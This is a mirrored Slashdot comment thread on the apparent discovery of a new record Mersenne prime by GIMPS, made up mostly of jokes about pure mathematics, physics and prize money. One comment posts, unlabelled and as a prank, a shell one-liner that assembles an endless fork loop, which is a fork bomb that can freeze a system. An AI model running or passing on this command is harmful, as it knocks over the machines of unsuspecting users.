Slashdot Mirror
45th Known Mersenne Prime Found?
An anonymous reader writes "The Great Internet Mersenne Prime Search (GIMPS) has apparently discovered a new world-record prime number. A GIMPS client computer reported the number on August 23rd, and verification is currently under way. The verification could take up to two weeks to complete. The last Mersenne prime discovered was over 9.8 million digits long, strongly suggesting that the new value may break the 10 million digit barrier — qualifying for the EFF's $100,000 prize!"
To what use will this long, long prime be put?
Absolutely none whatsoever. That's the beauty of mathematics.
And you only get 6 digits in prize money? What a rip off. That is only one $digit per 1.67 million prime digits.
...he asks on slashdot.
Agreed. People should be using their extreme CPU cycles for things that matter, like helping the SETI program or running Microsoft Vista.
And work backwards, that will find the largest much faster than starting at zero.
...even!
That has to be one of the best penis pill ad spoofs I've ever read. Kudos on that classy rewrite.
My only question is where the reasonably attractive blond chick who blinks too damn much comes in.
Try not to take me more seriously than I take myself.
I saw this joke posted on slashdot like, less than a week ago,b ut it's so relevant to the discussion ... fuck it.
"An engineer, a physicist and a mathematician were all staying in a hotel, when each of their rooms individually caught fire. The engineer did some basic math, flooded the floor and said, "it is out." The physicist did more complicated math, used just precisely the amount of water needed to put out the fire and said, "It is out." the mathematician did a lot of complicated math, said, 'I HAVE SOLVED IT!' and went back to bed."
Non impediti ratione cogitationus.
Aaah yes, the xkcd that made me stop reading xkcd.
As a chemist, i felt a bit upset at the elitist attitude of the comic, and no I do not think that biology is 'merely' applied chemistry, and therefore somehow less 'pure'.
Cry me a river, impure professional.
That's ridiculous. Being useless is not what makes math beautiful. There are plenty of useless things that aren't beautiful.
A lot of them post here.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"Physics is like sex. Sure, it may give some practical results, but that's not why we do it." - Richard Feynman
Which is why Richard Feynman is known as the father of quantum mechanics.
At 10 million digits you're going to take a long time to "guess" what it is.
If there is only one known prime number with 10 million digits, then I reckon I could guess this one quite quickly.
U1NCaVpYUWdlVzkxSUhkcGMyZ2dlVzkx SUdoaFpHNG5kQ0JpYjNSb1pYSmxaQT09
I'm sure that would be odd if you found it.
rewriting history since 2109
Quantum Physics has many fathers. Classical physics is a bit of a slut.
It's been a long time.